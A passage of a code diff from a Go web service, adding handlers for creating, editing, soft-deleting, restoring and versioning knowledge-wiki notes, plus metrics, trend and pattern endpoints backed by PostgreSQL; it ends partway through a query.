tags := normalizeTags(derefSlice(body.Tags))
|
||||||
|
slug := knowledgeSlugFor(kind, deref(body.Folder), title)
|
||||||
|
_, actorLabel := actorInfo(ctx)
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "begin failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
docID, _ := uuid.NewV7()
|
||||||
|
// ON CONFLICT covers the soft-deleted case: the entity row survives a
|
||||||
|
// delete, so recreating a note under the same slug must reuse it rather
|
||||||
|
// than fail the unique constraint.
|
||||||
|
if err := tx.QueryRow(ctx, `
|
||||||
|
INSERT INTO entities (id, slug, type, name, attributes)
|
||||||
|
VALUES ($1, $2, $3, $4, '{}')
|
||||||
|
ON CONFLICT (slug) DO UPDATE SET name = EXCLUDED.name, updated_at = now()
|
||||||
|
RETURNING id`, docID, slug, kind, title).Scan(&docID); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "create entity failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Refuse to silently overwrite an existing LIVE note — upsert_knowledge
|
||||||
|
// (the MCP tool) deliberately upserts by title (the agent re-records the
|
||||||
|
// same finding as it learns more), but an operator hitting "create" with
|
||||||
|
// a colliding title almost certainly means to write something new.
|
||||||
|
//
|
||||||
|
// The `WHERE knowledge_entities.deleted_at IS NOT NULL` guard makes this
|
||||||
|
// check atomic with the write, rather than a separate SELECT before it:
|
||||||
|
// a plain pre-check has a TOCTOU race where two concurrent creates of
|
||||||
|
// the same title can both pass the check and then both proceed to
|
||||||
|
// INSERT ON CONFLICT DO UPDATE, silently clobbering each other. Here,
|
||||||
|
// the UPDATE branch only actually applies when the conflicting row is
|
||||||
|
// soft-deleted (a legitimate "resurrect" case). When it isn't, the row
|
||||||
|
// is left untouched, RETURNING yields no row, and pgx.ErrNoRows below
|
||||||
|
// becomes the 409 — the collision can never be missed, no matter how
|
||||||
|
// the two writers interleave.
|
||||||
|
var wroteID uuid.UUID
|
||||||
|
err = tx.QueryRow(ctx, `
|
||||||
|
INSERT INTO knowledge_entities
|
||||||
|
(entity_id, title, content, source, tags, edited_by, updated_at, deleted_at)
|
||||||
|
VALUES ($1, $2, $3, $4, $5, $4, now(), NULL)
|
||||||
|
ON CONFLICT (entity_id) DO UPDATE
|
||||||
|
SET title = EXCLUDED.title, content = EXCLUDED.content,
|
||||||
|
tags = EXCLUDED.tags, edited_by = EXCLUDED.edited_by,
|
||||||
|
updated_at = now(), deleted_at = NULL
|
||||||
|
WHERE knowledge_entities.deleted_at IS NOT NULL
|
||||||
|
RETURNING entity_id`,
|
||||||
|
docID, title, content, actorLabel, tags).Scan(&wroteID)
|
||||||
|
if errors.Is(err, pgx.ErrNoRows) {
|
||||||
|
writeProblem(w, req, http.StatusConflict, "a note with this title already exists", slug)
|
||||||
|
return
|
||||||
|
} else if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "write knowledge failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
linked := s.linkKnowledgeAbout(ctx, tx, docID, derefSlice(body.About))
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "commit failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
slog.Info("knowledge created", "slug", slug, "kind", kind, "actor", actorLabel, "linked", linked)
|
||||||
|
// Content-Type before WriteHeader — setting it after is a no-op, the
|
||||||
|
// status line is already on the wire.
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
w.WriteHeader(http.StatusCreated)
|
||||||
|
if err := json.NewEncoder(w).Encode(map[string]any{
|
||||||
|
"slug": slug, "id": docID.String(), "linked": linked,
|
||||||
|
}); err != nil {
|
||||||
|
slog.Error("httpapi: json encode failed", "error", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveUpdateKnowledge edits a live note in place. The prior version is
|
||||||
|
// captured by the trg_knowledge_revision trigger, not by this handler — see
|
||||||
|
// the migration for why that lives in the database.
|
||||||
|
//
|
||||||
|
// Note the slug is intentionally NOT recomputed when the title changes:
|
||||||
|
// slugs are the wiki's stable link target ([[slug]] references, relationship
|
||||||
|
// rows, bookmarked window ids), and silently re-slugging on a typo fix would
|
||||||
|
// break every inbound link.
|
||||||
|
func (s *Server) serveUpdateKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
idOrSlug, err := pathParam(req, "id")
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var body knowledgeWriteBody
|
||||||
|
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if body.Title == nil && body.Content == nil && body.Tags == nil && body.About == nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "nothing to update",
|
||||||
|
"supply at least one of title, content, tags, about")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if body.Title != nil && strings.TrimSpace(*body.Title) == "" {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "title cannot be empty", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if body.Content != nil && strings.TrimSpace(*body.Content) == "" {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "content cannot be empty", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
entityID, err := s.resolveKnowledgeEntity(ctx, idOrSlug)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_, actorLabel := actorInfo(ctx)
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "begin failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
// COALESCE keeps unsupplied fields untouched; edited_by and updated_at
|
||||||
|
// always move so the UI can show who last touched it. The trigger only
|
||||||
|
// snapshots when title/content/tags actually differ, so a no-op save
|
||||||
|
// doesn't manufacture a revision.
|
||||||
|
var newTitle *string
|
||||||
|
if body.Title != nil {
|
||||||
|
t := strings.TrimSpace(*body.Title)
|
||||||
|
newTitle = &t
|
||||||
|
}
|
||||||
|
var newContent *string
|
||||||
|
if body.Content != nil {
|
||||||
|
c := strings.TrimSpace(*body.Content)
|
||||||
|
newContent = &c
|
||||||
|
}
|
||||||
|
var newTags *[]string
|
||||||
|
if body.Tags != nil {
|
||||||
|
t := normalizeTags(*body.Tags)
|
||||||
|
newTags = &t
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := tx.Exec(ctx, `
|
||||||
|
UPDATE knowledge_entities
|
||||||
|
SET title = COALESCE($2, title),
|
||||||
|
content = COALESCE($3, content),
|
||||||
|
tags = COALESCE($4, tags),
|
||||||
|
edited_by = $5,
|
||||||
|
updated_at = now()
|
||||||
|
WHERE entity_id = $1`,
|
||||||
|
entityID, newTitle, newContent, newTags, actorLabel); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "update failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Keep the entity's display name in step with the note title — the graph
|
||||||
|
// and the fleet table read entities.name, and leaving it stale is exactly
|
||||||
|
// the drift this app exists to fight.
|
||||||
|
if newTitle != nil {
|
||||||
|
if _, err := tx.Exec(ctx,
|
||||||
|
`UPDATE entities SET name = $2, updated_at = now() WHERE id = $1`,
|
||||||
|
entityID, *newTitle); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "rename entity failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// About is replace-semantics, not merge: the editor presents the full
|
||||||
|
// link set, so an absent slug means the operator removed it. Existing
|
||||||
|
// edges are closed (valid_to) rather than deleted, preserving history.
|
||||||
|
var linked []string
|
||||||
|
if body.About != nil {
|
||||||
|
if _, err := tx.Exec(ctx, `
|
||||||
|
UPDATE relationships SET valid_to = now()
|
||||||
|
WHERE source_id = $1 AND valid_to IS NULL AND type IN ('documents', 'about')`,
|
||||||
|
entityID); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "unlink failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
linked = s.linkKnowledgeAbout(ctx, tx, entityID, *body.About)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "commit failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
slog.Info("knowledge updated", "entity_id", entityID, "actor", actorLabel)
|
||||||
|
// `linked` lets the caller diff against what it submitted and warn about
|
||||||
|
// any slug that didn't resolve — see linkKnowledgeAbout: a typo'd entity
|
||||||
|
// slug otherwise fails with nothing but a server-side slog.Warn, so the
|
||||||
|
// operator gets no feedback that one of their About links didn't take.
|
||||||
|
writeJSON(w, map[string]any{"ok": true, "linked": linked})
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveDeleteKnowledge soft-deletes a note. The row, its revision trail and
|
||||||
|
// its entity all survive; only the deleted_at stamp changes, and every read
|
||||||
|
// path filters on it.
|
||||||
|
func (s *Server) serveDeleteKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
idOrSlug, err := pathParam(req, "id")
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
entityID, err := s.resolveKnowledgeEntity(ctx, idOrSlug)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_, actorLabel := actorInfo(ctx)
|
||||||
|
|
||||||
|
// Snapshot the live version before tombstoning. The trigger fires on
|
||||||
|
// title/content/tags changes only, and a delete changes none of them —
|
||||||
|
// without this the most recent version would be the one version missing
|
||||||
|
// from the history if the note is later restored.
|
||||||
|
if _, err := s.pool.Exec(ctx, `
|
||||||
|
INSERT INTO knowledge_revisions
|
||||||
|
(entity_id, title, content, source, tags, edited_by, version_at)
|
||||||
|
SELECT entity_id, title, content, source, tags, COALESCE(edited_by,''), updated_at
|
||||||
|
FROM knowledge_entities WHERE entity_id = $1`, entityID); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "snapshot failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if _, err := s.pool.Exec(ctx, `
|
||||||
|
UPDATE knowledge_entities SET deleted_at = now(), edited_by = $2
|
||||||
|
WHERE entity_id = $1`, entityID, actorLabel); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "delete failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
slog.Info("knowledge deleted", "entity_id", entityID, "actor", actorLabel)
|
||||||
|
writeJSON(w, map[string]any{"ok": true})
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveRestoreKnowledge undoes a soft delete. The counterpart to
|
||||||
|
// serveDeleteKnowledge — without it, "recoverable by clearing the column"
|
||||||
|
// (see the migration) would only be true via psql, which isn't a real
|
||||||
|
// recovery path for an operator using the wiki.
|
||||||
|
func (s *Server) serveRestoreKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
idOrSlug, err := pathParam(req, "id")
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
entityID, err := s.resolveKnowledgeEntityAny(ctx, idOrSlug)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_, actorLabel := actorInfo(ctx)
|
||||||
|
|
||||||
|
ct, err := s.pool.Exec(ctx, `
|
||||||
|
UPDATE knowledge_entities SET deleted_at = NULL, edited_by = $2
|
||||||
|
WHERE entity_id = $1 AND deleted_at IS NOT NULL`, entityID, actorLabel)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "restore failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if ct.RowsAffected() == 0 {
|
||||||
|
writeProblem(w, req, http.StatusConflict, "note is not deleted", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
slog.Info("knowledge restored", "entity_id", entityID, "actor", actorLabel)
|
||||||
|
writeJSON(w, map[string]any{"ok": true})
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveKnowledgeRevisions returns the note's superseded versions, newest
|
||||||
|
// first. Bodies are included: revisions are small (~1 KB) and few, and the
|
||||||
|
// diff view needs both sides anyway — paginating would cost a round trip per
|
||||||
|
// comparison to save nothing.
|
||||||
|
func (s *Server) serveKnowledgeRevisions(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
idOrSlug, err := pathParam(req, "id")
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
entityID, err := s.resolveKnowledgeEntityAny(ctx, idOrSlug)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT id, title, content, COALESCE(edited_by,''), COALESCE(tags,'{}'),
|
||||||
|
version_at::text, revised_at::text
|
||||||
|
FROM knowledge_revisions
|
||||||
|
WHERE entity_id = $1
|
||||||
|
ORDER BY version_at DESC`, entityID)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
type revision struct {
|
||||||
|
ID int64 `json:"id"`
|
||||||
|
Title string `json:"title"`
|
||||||
|
Content string `json:"content"`
|
||||||
|
EditedBy string `json:"edited_by"`
|
||||||
|
Tags []string `json:"tags"`
|
||||||
|
VersionAt string `json:"version_at"`
|
||||||
|
RevisedAt string `json:"revised_at"`
|
||||||
|
}
|
||||||
|
items := []revision{}
|
||||||
|
for rows.Next() {
|
||||||
|
var r revision
|
||||||
|
if err := rows.Scan(&r.ID, &r.Title, &r.Content, &r.EditedBy, &r.Tags,
|
||||||
|
&r.VersionAt, &r.RevisedAt); err != nil {
|
||||||
|
slog.Error("httpapi: knowledge/revisions row scan failed", "error", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
items = append(items, r)
|
||||||
|
}
|
||||||
|
|
||||||
|
writeJSON(w, map[string]any{"items": items})
|
||||||
|
}
|
||||||
|
|
||||||
|
// linkKnowledgeAbout points a note at the entities it concerns, skipping
|
||||||
|
// slugs that don't resolve and edges that already exist. Returns the slugs
|
||||||
|
// actually linked so the caller can report what stuck — a typo'd slug is a
|
||||||
|
// silent no-op otherwise.
|
||||||
|
func (s *Server) linkKnowledgeAbout(ctx context.Context, tx pgx.Tx, docID uuid.UUID, slugs []string) []string {
|
||||||
|
linked := []string{}
|
||||||
|
for _, raw := range slugs {
|
||||||
|
slug := strings.TrimSpace(raw)
|
||||||
|
if slug == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
var targetID uuid.UUID
|
||||||
|
if err := tx.QueryRow(ctx, `SELECT id FROM entities WHERE slug = $1`, slug).Scan(&targetID); err != nil {
|
||||||
|
slog.Warn("knowledge: about slug not found, skipping", "slug", slug)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, err := tx.Exec(ctx, `
|
||||||
|
INSERT INTO relationships (source_id, target_id, type, attributes, valid_from)
|
||||||
|
SELECT $1, $2, 'about', '{"by":"operator"}'::jsonb, now()
|
||||||
|
WHERE NOT EXISTS (
|
||||||
|
SELECT 1 FROM relationships
|
||||||
|
WHERE source_id = $1 AND target_id = $2 AND type = 'about' AND valid_to IS NULL)`,
|
||||||
|
docID, targetID); err != nil {
|
||||||
|
slog.Warn("knowledge: link failed", "slug", slug, "error", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
linked = append(linked, slug)
|
||||||
|
}
|
||||||
|
return linked
|
||||||
|
}
|
||||||
|
|
||||||
|
// normalizeTags trims, lowercases and de-duplicates while preserving order.
|
||||||
|
// Lowercasing is the fix for the casing drift already in the data — `oom`
|
||||||
|
// and `OOM` were separate tags on separate notes, so neither tag page showed
|
||||||
|
// the full set. Applied on every write so the split can't reopen.
|
||||||
|
func normalizeTags(in []string) []string {
|
||||||
|
seen := map[string]bool{}
|
||||||
|
out := []string{}
|
||||||
|
for _, t := range in {
|
||||||
|
t = strings.ToLower(strings.TrimSpace(t))
|
||||||
|
if t == "" || seen[t] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[t] = true
|
||||||
|
out = append(out, t)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func deref(p *string) string {
|
||||||
|
if p == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return *p
|
||||||
|
}
|
||||||
|
|
||||||
|
func derefSlice(p *[]string) []string {
|
||||||
|
if p == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return *p
|
||||||
|
}
|
||||||
|
|
||||||
|
// writeJSON is the success-path counterpart to writeProblem, so the handlers
|
||||||
|
// in this file don't each repeat the header/encode dance.
|
||||||
|
func writeJSON(w http.ResponseWriter, v any) {
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
if err := json.NewEncoder(w).Encode(v); err != nil {
|
||||||
|
slog.Error("httpapi: json encode failed", "error", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
180
internal/httpapi/metrics.go
Normal file
180
internal/httpapi/metrics.go
Normal file
@@ -0,0 +1,180 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/domain"
|
||||||
|
"github.com/dtoro/oikos/internal/httpapi/gen"
|
||||||
|
"github.com/jackc/pgx/v5/pgtype"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Metrics ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *Server) QueryMetrics(ctx context.Context, req gen.QueryMetricsRequestObject) (gen.QueryMetricsResponseObject, error) {
|
||||||
|
if req.Params.EntityId == nil || *req.Params.EntityId == "" {
|
||||||
|
return nil, fmt.Errorf("%w: entity_id is required", domain.ErrInvalidInput)
|
||||||
|
}
|
||||||
|
entityID, err := s.resolveEntityID(ctx, *req.Params.EntityId)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
from := time.Now().Add(-24 * time.Hour)
|
||||||
|
if req.Params.From != nil {
|
||||||
|
from = *req.Params.From
|
||||||
|
}
|
||||||
|
to := time.Now()
|
||||||
|
if req.Params.To != nil {
|
||||||
|
to = *req.Params.To
|
||||||
|
}
|
||||||
|
|
||||||
|
var metricNames []string
|
||||||
|
if req.Params.Metric != nil && len(*req.Params.Metric) > 0 {
|
||||||
|
metricNames = *req.Params.Metric
|
||||||
|
} else {
|
||||||
|
// metric omitted: report every metric recorded for this entity in range.
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT DISTINCT metric FROM metric_samples
|
||||||
|
WHERE entity_id = $1 AND ts >= $2 AND ts <= $3
|
||||||
|
ORDER BY metric`, entityID, from, to)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
for rows.Next() {
|
||||||
|
var name string
|
||||||
|
if err := rows.Scan(&name); err != nil {
|
||||||
|
rows.Close()
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
metricNames = append(metricNames, name)
|
||||||
|
}
|
||||||
|
if err := rows.Err(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
items := []gen.MetricSeries{}
|
||||||
|
for _, metricName := range metricNames {
|
||||||
|
series := gen.MetricSeries{
|
||||||
|
EntityId: entityID.String(),
|
||||||
|
Metric: metricName,
|
||||||
|
Rollup: gen.MetricSeriesRollupRaw,
|
||||||
|
}
|
||||||
|
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT ts, value
|
||||||
|
FROM metric_samples
|
||||||
|
WHERE entity_id = $1 AND metric = $2
|
||||||
|
AND ts >= $3 AND ts <= $4
|
||||||
|
ORDER BY ts ASC`,
|
||||||
|
entityID, metricName, from, to)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
samples := []struct {
|
||||||
|
Avg *float32 `json:"avg"`
|
||||||
|
Count *int `json:"count"`
|
||||||
|
Max *float32 `json:"max"`
|
||||||
|
Min *float32 `json:"min"`
|
||||||
|
Ts time.Time `json:"ts"`
|
||||||
|
Value *float32 `json:"value"`
|
||||||
|
}{}
|
||||||
|
|
||||||
|
for rows.Next() {
|
||||||
|
var ts time.Time
|
||||||
|
var val float64
|
||||||
|
if err := rows.Scan(&ts, &val); err != nil {
|
||||||
|
rows.Close()
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
f := float32(val)
|
||||||
|
samples = append(samples, struct {
|
||||||
|
Avg *float32 `json:"avg"`
|
||||||
|
Count *int `json:"count"`
|
||||||
|
Max *float32 `json:"max"`
|
||||||
|
Min *float32 `json:"min"`
|
||||||
|
Ts time.Time `json:"ts"`
|
||||||
|
Value *float32 `json:"value"`
|
||||||
|
}{Value: &f, Ts: ts})
|
||||||
|
}
|
||||||
|
rows.Close()
|
||||||
|
if rows.Err() != nil {
|
||||||
|
return nil, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
series.Samples = samples
|
||||||
|
items = append(items, series)
|
||||||
|
}
|
||||||
|
|
||||||
|
if items == nil {
|
||||||
|
items = []gen.MetricSeries{}
|
||||||
|
}
|
||||||
|
return gen.QueryMetrics200JSONResponse{Items: items}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) GetTrends(ctx context.Context, req gen.GetTrendsRequestObject) (gen.GetTrendsResponseObject, error) {
|
||||||
|
entityID, err := s.resolveEntityID(ctx, req.EntityId)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
from := time.Now().Add(-7 * 24 * time.Hour)
|
||||||
|
if req.Params.From != nil {
|
||||||
|
from = *req.Params.From
|
||||||
|
}
|
||||||
|
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT metric,
|
||||||
|
ROUND(avg(value)::numeric, 2) AS avg_val,
|
||||||
|
ROUND(stddev(value)::numeric, 2) AS std_val,
|
||||||
|
count(*) AS sample_count,
|
||||||
|
ROUND(regr_slope(value, EXTRACT(EPOCH FROM ts)::numeric)::numeric, 4) AS slope
|
||||||
|
FROM metric_samples
|
||||||
|
WHERE entity_id = $1 AND ts >= $2
|
||||||
|
GROUP BY metric
|
||||||
|
ORDER BY metric`, entityID, from)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
items := []gen.Trend{}
|
||||||
|
for rows.Next() {
|
||||||
|
var t gen.Trend
|
||||||
|
var avgVal, stdVal, slopeNum pgtype.Numeric
|
||||||
|
var sampleCount int
|
||||||
|
if err := rows.Scan(&t.Metric, &avgVal, &stdVal, &sampleCount, &slopeNum); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Determine direction.
|
||||||
|
if slopeNum.Valid {
|
||||||
|
f, _ := slopeNum.Float64Value()
|
||||||
|
t.Slope = float32Ptr(float32(f.Float64))
|
||||||
|
if f.Float64 > 0.01 {
|
||||||
|
t.Direction = gen.Improving
|
||||||
|
} else if f.Float64 < -0.01 {
|
||||||
|
t.Direction = gen.Degrading
|
||||||
|
} else {
|
||||||
|
t.Direction = gen.Stable
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
t.Direction = gen.Unknown
|
||||||
|
}
|
||||||
|
items = append(items, t)
|
||||||
|
}
|
||||||
|
if rows.Err() != nil {
|
||||||
|
return nil, rows.Err()
|
||||||
|
}
|
||||||
|
if items == nil {
|
||||||
|
items = []gen.Trend{}
|
||||||
|
}
|
||||||
|
return gen.GetTrends200JSONResponse{Items: items}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func float32Ptr(f float32) *float32 {
|
||||||
|
return &f
|
||||||
|
}
|
||||||
123
internal/httpapi/patterns.go
Normal file
123
internal/httpapi/patterns.go
Normal file
@@ -0,0 +1,123 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
"github.com/dtoro/oikos/internal/domain"
|
||||||
|
"github.com/dtoro/oikos/internal/httpapi/gen"
|
||||||
|
"github.com/dtoro/oikos/internal/observability"
|
||||||
|
"github.com/jackc/pgx/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Patterns ──────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *Server) ListPatterns(ctx context.Context, req gen.ListPatternsRequestObject) (gen.ListPatternsResponseObject, error) {
|
||||||
|
limit := clampLimit(req.Params.Limit)
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT p.entity_id, e.slug, p.applies_type, p.action, p.pattern, p.confidence,
|
||||||
|
p.evidence_count, p.success_count, p.failure_count, p.status,
|
||||||
|
p.quarantined, p.version, p.last_validated_at
|
||||||
|
FROM patterns p
|
||||||
|
JOIN entities e ON e.id = p.entity_id
|
||||||
|
WHERE ($1::text IS NULL OR p.status = $1)
|
||||||
|
AND ($2::text IS NULL OR p.applies_type = $2)
|
||||||
|
AND ($3::text IS NULL OR p.action = $3)
|
||||||
|
ORDER BY p.applies_type, p.action
|
||||||
|
LIMIT $4`,
|
||||||
|
req.Params.Status, req.Params.EntityType, req.Params.Action, limit+1)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
items := []gen.Pattern{}
|
||||||
|
for rows.Next() {
|
||||||
|
var p gen.Pattern
|
||||||
|
if err := rows.Scan(&p.Id, &p.Slug, &p.AppliesType, &p.Action, &p.Pattern,
|
||||||
|
&p.Confidence, &p.EvidenceCount, &p.SuccessCount, &p.FailureCount,
|
||||||
|
&p.Status, &p.Quarantined, &p.Version, &p.LastValidatedAt); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
items = append(items, p)
|
||||||
|
}
|
||||||
|
if rows.Err() != nil {
|
||||||
|
return nil, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
if items == nil {
|
||||||
|
items = []gen.Pattern{}
|
||||||
|
}
|
||||||
|
return gen.ListPatterns200JSONResponse{Items: items}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) PatchPattern(ctx context.Context, req gen.PatchPatternRequestObject) (gen.PatchPatternResponseObject, error) {
|
||||||
|
if req.Body == nil {
|
||||||
|
return nil, fmt.Errorf("%w: request body is required", domain.ErrInvalidInput)
|
||||||
|
}
|
||||||
|
|
||||||
|
id, err := s.resolveEntityID(ctx, req.Id)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
q := sqlcgen.New(tx)
|
||||||
|
|
||||||
|
if req.Body.Status != nil {
|
||||||
|
status := string(*req.Body.Status)
|
||||||
|
if err := q.UpdatePatternStatus(ctx, sqlcgen.UpdatePatternStatusParams{
|
||||||
|
EntityID: id,
|
||||||
|
Status: status,
|
||||||
|
}); err != nil {
|
||||||
|
if err == pgx.ErrNoRows {
|
||||||
|
return nil, fmt.Errorf("%w: pattern %s", domain.ErrNotFound, req.Id)
|
||||||
|
}
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if req.Body.Quarantined != nil {
|
||||||
|
if err := q.UpdatePatternQuarantine(ctx, sqlcgen.UpdatePatternQuarantineParams{
|
||||||
|
EntityID: id,
|
||||||
|
Quarantined: *req.Body.Quarantined,
|
||||||
|
}); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Re-read.
|
||||||
|
var p gen.Pattern
|
||||||
|
err = tx.QueryRow(ctx, `
|
||||||
|
SELECT entity_id, applies_type, action, pattern, confidence,
|
||||||
|
